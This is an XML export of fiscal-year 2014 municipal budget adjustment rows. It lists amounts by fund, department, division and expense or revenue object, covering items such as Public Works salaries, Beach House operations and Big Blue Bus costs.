<row _id="7598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400620.0</object><object_description>RESURFACING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-17479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17479.0</total></row>
<row _id="7599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="7600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2317730.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2317730.0</total></row>
<row _id="7601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544910.0</object><object_description>TRANSIT STORE EXPENSES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1817.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1817.0</total></row>
<row _id="7602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>402050.0</object><object_description>TRANSPORTATION IMPACT FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-570000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-570000.0</total></row>
<row _id="7603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8614.0</total></row>
<row _id="7604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1562.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="7605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2475.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2475.0</total></row>
<row _id="7606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13530.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13530.0</total></row>
<row _id="7607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="7608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561506.0</object><object_description>HOMELESS PREVENTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39975.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39975.0</total></row>
<row _id="7609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>628598.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>628598.0</total></row>
<row _id="7610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5206.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5206.0</total></row>
<row _id="7611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19500.0</total></row>
<row _id="7612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4771.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4771.0</total></row>
<row _id="7613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>185725.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185725.0</total></row>
<row _id="7614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>53393.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53393.0</total></row>
<row _id="7615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43000.0</total></row>
<row _id="7616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5993.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5993.0</total></row>
<row _id="7617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="7618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="7619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533211.0</object><object_description>FAC MAINT SVCS-WORK ORDERS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="7620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12753.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12753.0</total></row>
<row _id="7621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>740.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>740.0</total></row>
<row _id="7622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38078.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38078.0</total></row>
<row _id="7623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544140.0</object><object_description>STREET MATERIAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>293000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>293000.0</total></row>
<row _id="7624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6600.0</total></row>
<row _id="7625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39411.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39411.0</total></row>
<row _id="7626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="7627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533228.0</object><object_description>BLDG/STR MAINT-KEN EDWARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="7628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2738.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2738.0</total></row>
<row _id="7629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5670.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5670.0</total></row>
<row _id="7630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>63585.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63585.0</total></row>
<row _id="7631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6983.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6983.0</total></row>
<row _id="7632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>37556.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37556.0</total></row>
<row _id="7633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1653.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1653.0</total></row>
<row _id="7634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1104.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1104.0</total></row>
<row _id="7635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8282.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8282.0</total></row>
<row _id="7636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2193.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2193.0</total></row>
<row _id="7637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="7638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="7639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41793.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41793.0</total></row>
<row _id="7640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>85845.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85845.0</total></row>
<row _id="7641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2806042.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2806042.0</total></row>
<row _id="7642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47069.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47069.0</total></row>
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<row _id="7645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32650.0</total></row>
<row _id="7646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533215.0</object><object_description>BLDG/CUSTODIAL SUPPLIES-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82900.0</total></row>
<row _id="7647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41700.0</total></row>
